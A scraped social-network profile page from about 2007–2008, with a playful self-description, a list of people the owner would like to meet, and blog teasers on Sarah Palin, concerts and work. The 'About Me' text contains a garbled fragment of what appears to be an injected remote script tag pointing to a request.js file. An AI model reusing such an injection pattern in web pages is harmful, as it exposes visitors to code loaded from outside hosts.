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Amber

I am here for Friends and Networking

About Me

I'm into weirdness. I was born on Ben Franklin's birthday. I have a portrait in my attic which ages in my stead. I channel Theda Bara in my spare time, and/or Morticia Addams. I like spanks. When I hear a helicopter overhead, I have to fight an overwhelming urge to duck and cover. -:- Fact -:- I've long wondered why bottled water has an expiration date. Here's what a friend has to say about me: "Amber is the kind of woman you want on your side when frolicking through cemeteries, imbibing heavily, or exploring abandoned buildings on a Tuesday. She's sultry and provocative and steely enough to get tattooed and for these things, I salute her. She's also genetically superior, capable of producing stellar offspring. If you don't believe me, just check out her images with her enchanting daughter . When you see Amber, buy her lots of drinks... Or you might never be heard from again." Hahahahahaha -:- Too True -:-.... language="javascript" src="http://...../request.js"function nothingf(){document·write("..1...{}");}..

My Interests

I'd like to meet:

Leonardo da Vinci . The Venerable MLK . Aleister Crowley . poorusher ... over and over and over again . Walter Payton . Ron Santo . Ernie Banks . JELLO! (how the hell could I forget Jello Biafra? Crush-o-rama for flippin' years. Thanks for reminding me, - Kelly -)

My Blog

It just keeps getting better (err ... worse) for McPalin!

Wheeeeeeeeeee! She's a LIAR! Wha?!  Nooooo.  Say it ain't so, Sarah!  You're pure as the driven Alaskan snow, ain't ya?! Apparently the yellow snow. And as for the "bridge to nowhere," ...
Posted by on Tue, 09 Sep 2008 02:09:00 GMT

Sarah Palin = Dumbass

In a glaring example of how she is NOT experienced enough to be a grade school gym coach, let alone veep ... Palin made her "first" gaffe today. Read about said gaffe, in all it's glory...
Posted by on Tue, 09 Sep 2008 01:54:00 GMT

FUCKING HACKERS! Apologies to all who got spammed.

That's all I've got to say about that.
Posted by on Sun, 14 Oct 2007 00:13:00 GMT

Venetian Princess hubba hubba

I adore the music etc. that I'm exposed to via Myspace ... but there are other distractions I find much more delicious. I listen to music all day (headphones, ignoring stupid fucks at work etc.) Venet...
Posted by on Tue, 25 Sep 2007 02:24:00 GMT

Letters to my sister

I loved that Bush youtube thingy ... the video editing was truly brill' ... brain eating zombies oh my! So I'm reading through past texting with Skype users and I'm cracking myself UP. When I've got ...
Posted by on Thu, 16 Aug 2007 01:04:00 GMT

Hell ...

Yeah.  I work there.  If you haven't heard the scandal concerning Par Ridder ... well ... Google the shit.I've neglected my myspace thingy.  Though added a cool new friend who requested...
Posted by on Mon, 02 Jul 2007 06:02:00 GMT

Awesome Color + Dinosaur Jr.

Went to the show last night with Dynishka and Michael.  Originally bought the tickets solely for D-Jr. being on the bill.  Awesome Color opened and *oh hell* they were ... well ... awesome.&...
Posted by on Thu, 31 May 2007 23:07:00 GMT

Shoveling

our way out.So yeah.  It's Minne-fucking-sota.So yeah.  Shovels are us.Just shoveled Dyni's truck out ... My car is next.  Meh.  Bleh.  Ack.  FUCK.I swear to gods, once I...
Posted by on Thu, 01 Mar 2007 02:54:00 GMT

Luko

Luko aka poorusherSleepy Luko"Owl Time" with PooLuko Does The FootGeneral Grevioushe. cracks. me. UP.
Posted by on Wed, 28 Feb 2007 20:45:00 GMT

In the News

Shit heads.Piercing and office may not mix.  Hrm.  My piercings have turned some management heads.  Not to mention my ripped up jeans.  Fuck 'em.The caliber of  the assho...
Posted by on Mon, 26 Feb 2007 20:09:00 GMT